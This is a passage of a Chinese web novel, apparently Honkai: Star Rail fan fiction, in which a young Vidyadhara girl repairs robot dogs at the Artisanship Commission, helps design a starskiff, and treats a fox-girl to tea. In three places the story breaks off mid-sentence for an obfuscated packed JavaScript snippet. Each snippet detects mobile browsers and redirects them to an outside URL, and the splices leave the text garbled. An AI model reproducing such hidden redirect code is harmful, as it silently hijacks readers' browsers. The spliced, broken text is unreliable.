风浣瞪大了眼,几个翻身堪堪躲过,但他还是被强劲的力量击倒在地。 于此同时,背后躲避开来的刃芒落到正殿的屋檐上,大片琉璃瓦骤然开裂,发出清脆的环鸣声。 风浣面色惊诧:完了,赔不起。 汐识背对清丽的日光,心情颇好,站在长廊高处水流幻化成的台阶上蹦蹦跳跳,就像碧空牧场养的浮羊自由自在。 丹枫:“……” 他皱着眉,先对风浣一招无情痛击,又跃上屋顶,把略胜一筹的汐小识逮下来。 “说说吧,怎么回事?” 汐识和风浣相对而立,两个人颇有脾气,此刻却很有默契,谁也不肯说怎么回事。 丹枫看了看两个小哑巴,一个不足百天一个不足百岁,眼底全写着龙裔的桀骜不驯。他低头唤醒玉兆,瞅了眼时刻。 还有一个时辰才能回府里。 对,一个时辰。 忽然不知道要怎么度过这漫长的两小时。 明明汐识才蜕生五天,丹枫只觉得跟过了五年一样漫长。 12. 第12章 思前想后,丹枫决定送汐识去工造司。 比起临渊府,显然,能工巧匠遍布的工造司更抗造。 刚打完一架还打赢了,汐识没在意丹枫的截胡,那股能屈能伸但绝不丢掉傲气的倔强牢牢刻在她的双眸里,倒让她少了几分冷漠。 工造司负责仙舟科技与制造,停舟坪也比一般洞天气派许多。 远处可见传闻封印着岁阳的造化洪炉,散发着幽幽黄绿色火光;近处有短距离传送的换境画屏。 盯着小型的绿色屏风,汐识决定实践一下好奇心。 穿过画屏的瞬间,忽然化作一道青绿色流光,可以在两个空间坐标里飞来飞去。 没玩过,好玩。 那就,再来一次吧! 汐识的行为惊扰几个路过的匠人,有的问她一个小持明需要什么帮助,有的在远处看到流星双手合十在许愿。 好在她跑得足够快,没什么人发现她找到的新玩法。 眼见高檐上站着一个长着浅蓝龙角的白团子,来此迎接她的匠人眼前一黑,连忙朝她招招手,生怕持明族的小宝贝一个闪失掉下去了。 “别慌别慌,您怎么过去的就怎么回来就好!!” 不少人没见过空间跃迁,有的晕传送,过去了就不敢回来。 听见有人在喊她的名字,汐识收敛起脸上的放肆笑意,维持住少主大人应有的高深莫测,从黛色屋檐上的小屏风中再度传了回来。 丹枫把她送到这里,说是给她找了个好地方,然后头也不回地就走掉了。 汐识从换境画屏后面挪动身躯,抬眼注视这位眉眼清亮且充满智慧的匠人姐姐,还算礼貌地朝对方问好。 “丹枫大人说您不爱玩寻常的玩什,反而喜欢组装和拆解东西,如今一见,果真如此。” “我是工造司的工正,公孙成,负责四大监造部门之一的格物院,司里人都叫我公孙师姐。来,汐识小姐,工造司这厢有请。” 汐识完全不在意地哦了一声。 临渊府内一片狼藉,而我只是拆了半个府。 小团子生无可恋的声音把公孙工正逗笑了,她低咳两声,从工匠制服的口袋里掏出一枚玉符,确认通行权限后,通道自动打开。 两人信步前往格物院。 院门前有两个三四米高的大金人,机巧肢体被符箓严格宰制,还有几队云骑在巡逻机要重地,共同守护工造司的安全。 格物院,设计室内。 工匠们在十米长桌上设计图纸和誊写手稿,不时抬头对照电子屏,忙得焦头烂额,就连头发也是揪的长长短短、各有特色。 门前有个形如金鱼的机巧,悬空正立,用白色禁令屏障拦住要去食堂吃饭的两个匠人,并以冰冷的一声调运转起了打卡程序:“你的报告没交——” “不能回家睡觉!” “离谱,谁给它充能了,怎么又触发打卡机制了?”匠人们语气带着不耐烦,满脸沮丧,默契地同时抓了抓头发。 他们先识别身份,然后尝试配合关掉机巧中枢的打卡设定,可惜管理员权限不够。 “你的报告没交——,不能回家睡觉!” “这两个月废寝忘食的,吃饭都不在正点……别催了别催了,我这头发都薅秃了!” 公孙成一来就看到这场景,叹气,摆摆手,“你们先去吧,这里我来解决。” 匠人们回头,仿若看到救星般道了声谢,转瞬就奔向食堂不见了踪影。 汐识眨眨眼,看公孙成有条不紊地拆解机杼零件,余光看了下自己肩膀前柔软的头发,深深吸了一口气安慰自己。 她暗戳戳下了决心:这工造司以后不兴来。 因为这里对大家的头发不太友好。 没多久,公孙成将汐识带到一张无人的木桌旁。 摆在汐识面前的是两个大篓子,一个装着机巧零件和玉兆单元,另一个盛着穿着舞狮服饰的小机械狗。公孙成递给汐识一张图纸,上面画着谛听的拆解顺序。 “嘿嘿,这就是仙舟的仿生追踪装置,谛听。让我们头疼的是,它在地衡司的伤亡速度快超过咱们工造司的制造速度了。” “而今司里人手有限,大半去跟我们司砧,也就是墨攻大人,他们研究针对步离人的反月狂实验,实在是抽不出太多人管这些杂事。” 看着孩子乖巧可爱的模样,公孙工正还在迟疑她能不能行。 不过很快,地衡司订单的临期焦虑战胜了她的理智。 “所以我是来拼好谛听的?”看丹枫毫不留情离开的时候,她脑子里闪过无数可能,就是想不到丹枫让她来工造司拆谛听玩。 汐识坐在小木凳上,低垂着头。 她在小木桌上敞开陈旧的图纸,又侧目看向木箱子,伸手戳了戳箱子,里面有崭新的零件和几只不太新的小谛听。 公孙工正轻笑:“没错,就当拼积木。” “对了,丹枫大人让您在这待着,一个半小时后他自会来接您。” 待人走后,汐识有条不紊地拿起一只谛听。 “咔,咔嚓——” 很好,还算顺利地拆下一条小短腿。 “汪汪!!!” 手中半死不活的物什抽搐了下,呜汪一声,差点让汐识连腿带谛听都给扔出格物院的大门。 汐识缓过神,面无表情地给了谛听一个脑瓜蹦。 她语气风轻云淡:“你不要吓唬我,不然我给你换个玉兆中枢,你可就彻底焕然一新了。” 会吓人的谛听不是好谛听,看起来,需要给它换个不会吓唬人的新脑子。 在仙舟,没有谛听不想成为一只传奇的千年老谛听。然而,换玉兆零件就相当于换了个新脑子。 拥有新思想的谛听还是原来的谛听吗? 谛听转了转滴溜溜的大眼珠子,被半大的小姑娘威胁不足为惧,但出于跟仙舟人的百年相处经验,它意识到反驳她则有损罗浮老谛听的颜面。 耳畔又传来嗷呜一声。 不过这次的语气极弱,还带些讨好的意味。 看得出来,在两把锤子和一把螺丝刀的震慑下,手中的谛听选择乖乖装死。 工具齐全,拆解是最简单的,余下的步骤就是:分出损坏零件部位并更换,拼好形体基底,组装谛听支架,联通活动的能量线路,更换损坏的传感单元,检查玉兆完成度,盖上舞狮衣装的零件外廓,测试谛听能不能听懂话…… 汐识手中动作有条不紊,目光从最开始的好奇变得无趣起来。 修复第一只谛听用了半小时,后面的都是走流程。 一个小时后。 公孙工正例行巡收科研进度报告,手里一沓进度表,边走边看有没有什么应对步离人的新发明。 待她从镕金坊走到格物院时,突然发现走路时会发出啪嗒啪嗒的可爱声音。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318908|199016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被工造司蹉跎的这一百年,她练就了一口高昂的嗓音和敏锐的材料勘探力,并不觉得自己还能有什么蹦蹦跳跳的童心。 缓缓放下眼前的白纸黑字,公孙成一惊,摸了摸欣喜脸,又低头看了眼四个活蹦乱跳迎接她的小谛听。 “汪汪汪——” “特地来等着我的吗?别闹别闹,等会儿再陪你们玩抓小岁阳的游戏。” 被谛听领着去设计室,公孙成在不远处认真看了汐识许久。 听丹枫说她才蜕生不久,性子过于活泼,言语可能会有所冲撞,让她不要因为汐识的身份对她太纵容。 但公孙成并不这么认为。 这孩子明明安静的很,动手能力相当强,思路也活泛,不会因为一个零件对不上就苦哈哈地放弃,而是先把相同零件摆一堆随取随用,实在没有就找闲下来的工匠现场给她造出几个出来。 她扬眉一笑,朝汐识走去。 “小朋友还真是厉害,这才一个小时,就修好了四只谛听!那个,汐识小姐以后有空的话,不如多来咱们工造司玩?” “……嗯?” 面对漂亮姐姐的夸奖,汐识不置可否,依然沉浸在工造司很无聊的情绪里。 见她不说话,公孙工正轻咳一声,对她使用了巡镝诱惑。 “当然,这也不是白干的,该有的报酬一分也不会少。我看看,一只谛听六百镝,这是二千四百镝,还有六百加急费,共计三千镝,公款发放。”、 “小友的玉兆手镯呢,对,碰一下就好。” 地衡司发的玉兆手镯通体温润,是青玉偏白质地的圆环,基础功能均已开通。 当然,仙舟上还有更精巧的玉兆,只是她现在还没见识过。 汐识跟公孙成学着在手镯处点两下,唤醒玉兆的资金储蓄和交易功能,授权后立刻收到了第一笔自己赚到的巡镝。 至于要不要再来工造司,其实她也不知道。 在这里只有谛听和工匠,他们像个程序设定好的小金人,眼里只有数据与任务。 而临渊府又是一群忙起来就心里只有丹枫没有她的龙师。 这个世界真无趣。 正想着回绝公孙工正,忽然间,有人喊了一声她的名字。 来接她的不是丹枫,是明宴。 忽略临渊府在两个小时前因要重修屋檐找她划资金的事情,汐识抬眸望过来时的模样灵动可人,明宴看来看去,怎么看汐识也只是个需要保护的持明幼崽。 “原来是公孙工正,许久不见,倒是越发有精神了。” “少主大人,丹枫大人他有事在星槎海中枢,让我等会儿领您去宣夜大道的不夜侯待上一会儿。” 明宴微微颔首,朝两人微笑。 公孙成收回落在汐识身上的不舍,若小朋友不想,恐怕没有人能劝动她来工造司。 她看向明宴,摊了摊手才道:“明宴长老说笑了,亏了丹鼎司的灵丹妙药,不然我这熬夜熬得都快没个人形儿了……” 寒暄间,三人去了格物院高层。 明宴来工造司,不仅是为汐识,还是来谈几笔生意的。 临渊府修缮所需的琉璃瓦和息壤砖,龙师雲光要的的二十只机巧鸟,等会儿她还要去天舶司那边预定护珠人巡视用的新式星槎。 大人们去谈重要的事情了,出于安全考虑,汐识被人带到最高层。 那是工造司司砧在的地方。 13. 第13章 乘浮梯直上,下方机巧林立的画面尽收眼底。 而站在四面皆空宛若凉亭的木梯上,无人能忽视高处的独特风景。 不论哪个洞天,但凡在罗浮仙舟找个高处,都能看到被帝弓司命柘断的通天枯木。 建木的衰落,昭示着长生灾厄远大于福佑:长生人口泛滥与星球资源有限的矛盾难以调和。 每个被寿瘟祸祖赐福长生不死的星球,都免不了寿瘟的代价,要遭遇一通人口膨胀、生态崩溃、资源争夺和战乱不断的生命相残时段。若任由其继续发展下去,最后往往只能形成一个弱肉强食的畸形社会。 正如书本上提及的幻戏《青丘》,步离人为抢夺青丘生存资源和长生的赤泉,选择的不是反省与合作,而是变本加厉地去奴役和残杀狐人。 高阁长廊里少有工匠,因此听不到匠作们铸造器皿的金属碰撞声和尺桌交撞的闷咚响,更多的是玉兆大屏运转能量程序的电子播报音。 机芯数据一直跑,看上半个时辰也看不到尽头。 停在阁门前,汐识刚往前走了两步,听到一道浩瀚的冷静女声顿了下,好奇地抬头往高台上看了一眼。 墨攻,权掌罗浮工造司的司砧,此刻正端坐在高阶上的案台前。 “步离狼毒乃致人恐惧的信息素,经工造司和丹鼎司联合研制,目前可用丹药或者佩戴滤毒面具暂压,但,归根结底,还是需要将士破除心中深植的恐惧……如何稳定军心,这是腾骁将军的课题,我们还有更重要的事情做。” “……朱明讲究以火制火,我们能否利用这种方式去破解月狂?” 墨攻一袭乌长发以竹簪挽起,如翠竹般的清亮双眸蹙眉时显出凝重,言谈充斥理性的光辉,正用通讯玉兆跟人商讨要事。 见丹枫家的小持明来了,她也仅是点点头,无暇招待汐识。 无人在意的小持明乐得自在,趴在窗台边上,一个人拿云吟术玩空气。 忽然,空中的水镜映出一个容貌卓绝的狐人,她从汐识身后冒出来,但地板上却不见影子。 来的是天舶司的司舵,伏苍。 “塔拉萨星球遭遇反物质军团袭击,腾骁将军不打算让云骑去支援,这不,活儿来到我们天舶司身上了。” 伏苍穿着剪裁得体的优雅长裙,一眼雍容端庄,她手执一柄精致鎏金圆扇,有模有样扇了扇。 只是,她一开口,那精准锁定目标的悠扬声音难以忽视,也让云朵一样柔软可爱的持明崽崽打了个激灵。 “呀,这不是持明族的小少主吗?我是天舶司的司舵伏苍,来来来,让我瞧瞧……嗯嗯,完好无损。” “亏得我们实习的小助手在星槎上发现了你,不然,丹枫他们可要找你好久了……” 伏苍边说边走,上下打量了汐识一会儿,抬起手,掌心就要朝小持明的发顶落下。 汐识身子一歪,避开了司舵大人的摸摸头,转身一脸若无其事地问两人:“事关仙舟要事,我是不是应该回避一下?” 通讯被好同事打断,墨攻的目光四处环望,先投向看起来很好欺负的小麻烦龙,又朝伏苍递了个适可而止的眼色。 她颇为头疼,但摇了摇头,“无妨。既无将军军令又无天舶司禁令,你伏苍姐姐能一个投影就过来,可见不是什么大事。” “窗外风大,小朋友来这边坐下吧。”说完,墨攻抬了抬下巴,对准自己旁边的位置。 汐识嗯了一声,默默走去高桌旁的小板凳上安静坐着。 “……我有那么可怕吗?”伏苍拿扇子指了指自己,问墨攻,面色颇为不可思议。 汐识面无表情像个普通小孩子般在发呆,而墨攻装作无事发生,低头拿了本工造司文书看。 小持明快速眨了下两眼,这个位置好像是已经批阅过的。 “闲话不多说,讲正事吧。”伏苍单手叉腰,自信张扬,呈现出六御掌权人该有的凌厉气势,“将军说,塔拉萨毕竟是我们的盟友,必要的物资支援还是不可缺少的。” 她说着,调出一段无人驾驶星槎的航行记录。 “如你所见,烬灭军团利用拟造行星产生新的引力井,将无人运输物资船多次引入他们的引力范围内。我们天舶司的运输队伍若要避开他们的高速引力,必须将路线设定成多次环绕慢慢减速到塔拉萨星。” “但,那种方式下运输需要一个月的时间,我怕他们那边撑不住。” “所以,你们是想让工造司改善一下运输星舰?”墨攻放下手中文书,蹙起眉,正对伏苍继续道:“重新设计引力校准没问题,可现下造化烘炉出了些问题,能量供应断断续续的。” “即便没问题,种植并收获新的星槎,这个时间恐怕来不及。” “塔拉萨的情况这样危急,腾骁将军为何不让云骑前去支援?” 作为丹小枫的顶头上司,腾骁这个名字她并不陌生。汐识竖着耳朵,开始听将军的脑袋怎么想的。 但落在旁人眼里,她看起来就是一副神游物外的模样。 听及工造司之首的疑问,伏苍晃了下手中的圆扇,长叹一声,正对着墨攻解释道: “自第二次丰饶民大战后,曜青和罗浮大半云骑都在前线对抗步离人和造翼者,朱明那边不知为何压了多批军备,战事不宜久拖。况且,罗浮频发失踪人口的事情也闹得人心惶惶……” “咱们这仗打的不容易,多少战士牺牲才换来的和平日子。” “六御能做的,是先稳定仙舟内部,有余力才能考虑支援他星的事情。为罗浮的万家灯火长明,将军是不得已呢。” 伏苍的解释合乎情理,只是语气比两人以为的轻巧了些许。 汐识瞧见狐人半掩面的目光下藏了一分狡黠,那双眼睛的焦点时不时落在一脸正经的司砧身上,不知怎么地,总觉得伏苍此刻像是在逗趣。 仙舟以和为贵,助人为乐的前提是自己要有余力。 墨攻沉吟片刻,站起身,微微低垂着头,朝伏苍平静道:“我一介匠人,不懂战场厮杀,但作为后方战力支援未尝不利。请回禀将军,工造司愿主动请缨。” 战场支援的事情,丹鼎司和工造司最熟悉不过。 闻言,伏苍对上她不可动摇的眸光,轻笑着放下掩面的扇子,摇了摇头说:“司砧大人还是那么喜欢亲力亲为呢。别急,将军此番也是出于别的考量。” “塔拉萨管理者于半年前寿尽,新上任的也是个颇得民心的主和派,然,主战派的余孽正在争位造势。” “这事吧,说大也不大,塔拉萨除了我们还有有星际和平公司的人道支援,对抗烬灭军团是有把握的,只是损失会严重些。可若在这个节骨眼求助我们仙舟派云骑过去,实在是有失主权威望,不如支援些物资聊表心意。” “所以,将军派我来了。最好呢,还是请工造司的匠人们尽快研制出能够对抗引力干扰的星槎,越快越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318909|199016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好。” 大工正提交上来的报告堆积如山,还要被人找上门催进度。墨攻叹气,幽怨地瞥了面前的狐人一眼,摆摆手说了声知道了。 “唉,方法总比困难多。对了,你们天舶司监测到帝弓光矢近期在哪个方位吗?我现在得去拜拜帝弓司命祂老人家。” “东南方有最新的辙迹,不过也跟咱们隔了几百个光年距离呢。哎呀呀,谁不知道咱们工造司的司砧大人一双巧手堪夺天工,您慢慢想,我就不打扰了。” 伏苍说完就离开了,留下墨攻和似乎是才睡醒的持明族小少主。 墨攻自言自语,把问题给汐识讲了一遍。 其实是讲给自己听,也没指望小女孩能够凭这个年纪的知识听懂。 “就是要做个不受高引力干扰飞行状态的星槎,懂了吗?” 汐识认真点点头:“懂了,那我们要相信光。” “啊?”墨攻愣了下,转瞬眼中一亮,“光压?” 汐识点点头。 墨攻继续问,这次放轻了语气:“你怎么想到的?” 汐识一本正经:“哦,我看幻戏里都这么演的。” 这不是下午才学的物理知识吗? 墨攻:“……” 她怔了怔,偏过头看向坐在小板凳上的持明崽崽。 汐识神色如常,见不到想象中的欢喜或者面对六御中人的小心翼翼,可以说是没有一丝表情,但怎么看怎么可爱。 墨攻摸了摸下巴,已经想出了办法,但出于逗孩子的乐趣,还是将塔拉萨星图的全景投影交给汐识,问她怎么破解。 汐识歪了下头,问:“给巡镝吗?一个也行。” 墨攻:“……” 你哥那么大一个龙尊府,你还缺钱吗? 屋内陷入不可言状的沉默,唯风声入耳,墨攻颇为同情地看向丹枫抛来工造司的小持明,心想这持明族真是不会养孩子。 墨攻:“给!” 这说的还有些骄傲。 汐识不明所以,只当工造司是个增加巡镝数量的好地方。 “将星舰双翼安上光压板不成问题,那,在军团的干预下,如何维持住光压的运转呢?” 墨攻提出问题的下一秒,汐识拨开塔拉萨遍布各处的海洋渊流,找到了光芒最盛的地方——水晶城。 汐识伸出食指戳了下水晶城的虚影,淡声说:“水晶城折射高温光压,光压降低引力井中星槎的航行速度,直至被塔拉萨的引力速度对接……” 折射高温,和用来烤东西吃的云吟术差不多吧。 话音刚落,墨攻重拍了下卷轴铺了大半的桌面,嘴角逐渐勾起一个诡异的笑容。 汐识从消逝的星图后探出头,仰着脸看不太正常的工造司司砧。 她默默望了下门外,正巧,明宴在朝她招手。 待墨攻回神,透过窗户看向身影逐渐渺小的汐识和明宴,深瞳中满是沉静。 不知在想什么,一个不留神走到了楼下,墨攻蹲下来,朝跟过来打招呼的小谛听们莞尔一笑。 “醒醒啊墨攻,她是持明族的小少主,丹枫才是她选定的业师,而我竟然想让她现在就来工造司?龙师知道了,指不定得参我几本……” 她口中喃喃,听取“汪”声四片。 谛听表示可以。 墨攻:“……可以吗?” 先斩后奏,由腾骁将军出面的话,应该可以。 14. 第14章 星槎海中枢,宣夜大道。 夕阳的流霞被晚风轻轻卷起,笼罩住整个罗浮仙舟。 华街灯火万家,宣夜二十六家茶饮,名为不夜侯的茶馆很会做生意,茶客络绎不绝。 仙舟一个世代几百年,文娱更迭缓慢,主流文娱活动保留着古雅形式,店主淑桦专门请了个说书先生招徕行客,到了夜间还有各种传统曲艺演出。 “列位看官,咱们仙舟最不缺的是侠客传奇,如今最受欢迎的是英雄演义……上回说到《腾骁斩大蛇》,咱们将军以一敌千,破虺阵、驱威灵,手持巨剑,行若帝弓飞矢,直取敌王首级!” “哈哈,这回咱们讲的是《帝弓司命与岁阳太祖》,让看官们听听什么是真正的驱虎吞狼之计!” 说书人脑袋一摇,双手在桌上拍了几下,讲起来滔滔不绝。 “岁阳本是仙舟敌,觊觎仙人不死躯。 谁料羽人势难抵,造化穹桑夺若木。 仙人无力守罗浮,寻得棺中旧英豪。 万世一诺燧皇现,仙人岁阳共御敌。 岁阳附于英豪身,神弓一震逆乾坤。 燧皇竭力神形摧,仙人羽人皆俱焚。 谁料英豪擢成神,昔日之约自无期!” 一刻钟前,明宴将汐识领到不夜侯茶馆。 为了让丹枫放心,在她的再三请求下,汐识不情不愿抬手比了一个耶。待将小少主的照片发出去,明宴说了声公务繁忙不便多留,就离开了。 汐识喝着古法沏茶的新式奶茶,饶有兴趣地听说书人讲岁阳的志怪故事。 迎着橙粉色的余晖,她煞有介事地思考了会儿,左耳后那缕红发在时间中逐渐与夕阳的颜色融为一体。 茶馆前的硕大红伞下,木桌可坐四人,伞下的人时不时扭头与同伴说笑喧嚷,唯汐识一人仰首看云,神情淡然。 “别,别过去,她头上那么奇怪,一看就不是正常的仙舟小孩……我们去远一点的地方坐,不要跟她拼一桌啦!”结伴的小孩子双目有神但是没有智慧,无力地诉说着刻板印象的正确。 因为汐识没有隐藏龙角,所以被想来拼桌的天人族幼童说成是奇怪的人。 这就是高处不胜寒的寂寞吗? 汐识神色倨傲,朝比她大的小朋友瞥了一眼,语气平静道:“嗯嗯嗯,奇怪的人在喝奇怪的奶茶。哇,你和我喝一样的奶茶耶,小心点,可别也变成我这样奇怪的人,会被十王司的判官们抓走哦。” 仙舟讲究中庸之道。 在自我反省和讨伐别人里,汐识最终选择了让别人反省。 “啊啊,救命啊,我不要变成怪物,也不要被人抓去幽囚狱!” 两个小孩子听得微怔,目光在汐识和自己手中的仙人快乐茶中来回跳跃,忽然惊恐脸,嗷嗷叫唤着跑回家。 接下来的时间,持明族人畏威而不敢攀谈,仙舟的大人也不许别的小朋友靠近她这个奇怪的小孩子。 这个世界真无聊。 汐识闭上眼休憩。 她忽然想起几天前遇见的那个白发少年,个子比她高一些,明明可以忽视她,却坚持要帮她这个没有家的小持明寻求地衡司的帮助。 不是因为她是持明族的小少主,只是因为她看起来需要帮助,而那人眼眸清澈目光无畏,恰好是个乐于助人的开朗性子。 ……好像有什么热乎乎的东西贴在她腿边? 汐识愣了下,继而缓缓地睁开双眼,低头望向尾巴像钩子缠住她小腿的奶茶色的猫猫。 仙舟家宠多以健壮庞大为美,幼年时却是小小的一只。这猫脖颈上的项圈写着不夜侯三个字,是店主新豢养的小猫崽。 汐识默默望着小猫咪,猫咪也在好奇打量她, 一个于心不忍,她伸手摸了摸猫咪凑近的小脑袋。 直到听见猫里面传来呼噜呼噜的响声,她才停住自己的不礼貌行为。 然而,猫咪开始在地上翻滚,露出更加柔软的肚皮,让她有些不知所措。 摸坏了怎么办? 汐识心中犯了嘀咕,再三思量下,正襟危坐,只能假装没看到。 没多久,一个淡紫色如星芋小圆子的狐人少女站到汐识的对面,眉眼含笑,朝无人敢靠近的奇怪小朋友弯了弯眼睛,问能不能坐这里。 汐识点点头,喝着奶茶,百无聊赖地继续发呆。 说起来,墨攻还欠她一个巡镝。 但工造司的司砧大人忽然间笑意盈盈,像岁阳附身了似的,怪吓人的。 还是让丹小枫下次顺路的时候帮她拿来吧。 藏在玉兆里的巡镝,就像海底砂石埋着的会发光的宝藏,没有龙可以拒绝收集。 “朱明仙舟最擅工巧,匠人玩起火来真是自豪又任性,可怜我的尾巴毛,跟他们相处久了,涂了辟火油膏还是毛毛躁躁的。” “上次太奶奶怎么提醒我来着,是不是应该买把黄杨木的梳子?” 狐人少女吸着仙人快乐茶喃喃自语,说话时活泼悦耳,语调很是风趣,目光不经意间落在对面长着龙角的小持明身上。 你别说,龙系列的头饰戴起来还真别有千秋,让人看了忍不住想动手摸一下。 猫猫在汐识脚底下翻滚无果,垂着头走开,走前还颇为幽怨地看了她一眼。 汐识心想,完了,去告状了。 被碰瓷了,可她家长不在啊! 果不其然,店主很快找了上来。 淑桦穿着一身绿袍,袍边绣着茶叶的纹路。他常年在店内第一线研究新品和搬运茶料,走得阔步有力,步步茶香四溢。 即便周围还有其他茶客,但汐识一眼就看出对方明摆着朝她们这桌来的。 她做好了赔钱的准备。 却见店主目光一转,拿着交易记录单问旁边的紫发狐人:“这位客官,不知何故,您刚刚的付款码没能扫上。” 汐识眨了眨眼。 很好,猫没有坏掉。 紫发少女愣了一瞬,伸手比划着手中的小葫芦型玉坠,过了几分钟后又悻悻收起,面色有些尴尬。 “这……” 她说着,语气透漏出三分委屈,“抱歉抱歉,我的玉兆出了点故障。今日才来罗浮,玉兆经久不换又刚赶上航行意外,篆刻线路是有点不灵敏,一时接不上罗浮的网络……不如,你随我去天舶司,或者记在天舶司账上?账嘛,我肯定不会赖的了。” “那可不行,店里伙计少,我这走不开人。再说,您身上也没有天舶司的腰牌,若是谁都自称是六御的公家人,我们这小本生意可就难做了。”店主哀愁着脸。 “这不是路上撞上了个小行星来晚了,还没来得及去天舶司报道……”狐人小姐姐语气越来越弱,环顾周围,看有没有熟识的云骑在。 舟车劳顿,行李和曜青云骑飞行士的身份腰牌都在天舶司居所内,她是躲开伏苍的热情问候特地逃出来玩的。 店主最终摆摆手,准备喊地衡司的人处理这事:“我看你眼眸清亮,应非扯谎之人,还是让地衡司的人来一趟吧——” 赊账的头可不能乱开,旁边多少家茶饮店对不夜侯虎视眈眈,指不定哪天跟星际和平公司的人成群结队给他做局。 但在仙舟,还是以家族经商出名的狐人…… 没有任何一个狐人会喝不起一杯仙人快乐茶。 “诺,她的奶茶我请了。” 汐识打断了他的行动,拿出玉兆晃了晃,冷不丁开口。 “好、好嘞,已到账,两位慢坐。” 店主长吁一口气,等二十镝到账后,话语是藏不住的放松。 仙舟以和为贵,不乏乐于助人的人。有的人乘计程槎时没带钱,会有拼槎的乘客抢着帮付,甚至有人会特地装成乞丐去满足仙舟人乐于助人的心理。 两人目光相接的瞬间,汐识察觉到狐人姐姐眼里的几分惊诧。 汐识:“别误会,我只是不想惹麻烦。” “嗯嗯,我明白。”对方小声提醒,“唔,说来惭愧,我真是天舶司的,只是刚从曜青仙舟过来。” 汐识点点头,正经脸道:“这不重要。” 又补了一句:“我很有钱的。” 对面的狐人少女被她的模样逗笑,问她住哪,明天会把巡镝还回去的。 汐识摇摇头,说家里奇怪的大人太多,为了她好还是不要再打听了。 “原来如此,那就多谢你了。”对于小持明的顾虑,少女表示理解。 这位富贵人家的小小姐看起来是逃出来玩的,听起来,人家这大户人家的背景,确实也不缺钱。 好想知道是谁家的小持明呀,长得真可爱。 狐人姐姐离开前,朝汐识翩然一笑,给她讲了几个游历星球的趣事。 什么青丘狐大战步离战首、九尾天狐下凡渡生劫,听得汐识连连拍手,以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318910|199016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至于把说书人新一轮的市井谐谑当成了背景白噪音。 说到仙舟上的狐仙志怪时,少女对岁阳和朱明火依然充满怨念,眼带怜惜地摸了摸自己浅紫色的尾巴毛。 面对又一只毛茸茸,汐识心生一念,问能不能摸一摸她的尾巴。 对方略有犹豫但还是点头同意了,出于对小持明不差钱的印象,又加了一句“能不能来一份杏花酥”。 好茶需要好茶点配。不夜侯的茶点,除了贵没有别的缺点。 汐识倒是大方,直接点上了一份杏花酥和桃花烙饼。 三百镝就这样没了。 丹枫来的时候,盯着空空如也的两个盘子和杯子,说不上什么情绪。 他只是处理些政务来了晚了些,家里的小祖宗就已经请上别人吃东西了。 听公孙成说给了她三千巡镝的工钱,转眼间,她就把十分之一给花出去了。 丹枫问汐识,谁这么得她待见。 汐识摊了摊手,给丹枫点了杯冷萃的鳞渊春,仔细回想了一下,还真不知道那个姐姐的名字,只得托腮懒洋洋道:“哦,给了一个狐仙姐姐。” 少女没有因为她是长着龙角的人就对她出言不逊,也没有什么敬畏和讨好的眼光,这样的人,很符合她对于正常人的期待。 丹枫动作一顿,淡着脸抿了口冰冰凉凉的茶水,立刻意会:“所以,你的巡镝是被人骗吃骗喝才没的?” 狐仙,听起来就是不靠谱的骗钱人设。 “什么诈骗犯,都说了她是一个很漂亮的毛茸茸狐狸!” 汐识气不打一处来,扭过头去不看他,一副不怎么喜欢说话的样子 难得见她炸毛,丹枫生了几分逗趣的心思:“所以,您的巡镝是被人骗吃骗喝才没的?” 汐识冷哼一声,闭上了眼,余光也不想看见他。 “不会说话可以不说。” 回应她的是丹枫的轻呵声,还有望过来的探究视线。 丹枫神色淡淡地问她:“我没空关照你,但毕竟是持明少主的第一份报酬,不如,我还是带你去地衡司报个案吧。” 汐识气呼呼道:“你管不着!” 给台阶也不下,丹枫脸上有些不解和落寞。 就当是吃一堑长一智吧。 要面子不要实实在在的钱,果然是小孩子心性吧。 论沉默,她还是比不过丹枫。 半晌,汐识睁开一只眼,望向丹枫,视线相碰的一瞬间又阖上眼:“你怎么不说话,在想什么呢?” 丹枫的语气相当镇静:“尊重吾妹命运,放下助龙情节。” 差点忘了自己还有个名义上的兄长。 汐识轻咳一声,决定理一下他,“你今天下午走的匆忙,是出什么事情了吗?” 丹枫眼中沉了一瞬:“云骑机密,不便透露。” 汐识:“哦。” 思及她和丹枫在同一阵营的现实情况,汐识换了个话题,问龙尊和龙师们为什么闹得不可开交。 她好奇很久了。 丹枫没有立刻回答她,带她回府,晚膳时才给她说明了下龙师内部的情况。 龙师议会,是牵制龙尊独揽大权的制度。当年雨别一意孤行,葬送持明圣地,族里很多龙师就连他的亲信月宴都有所不满。 在雨别之后,龙师收揽族人并安排要职,对族内权力的掌控越来越大。 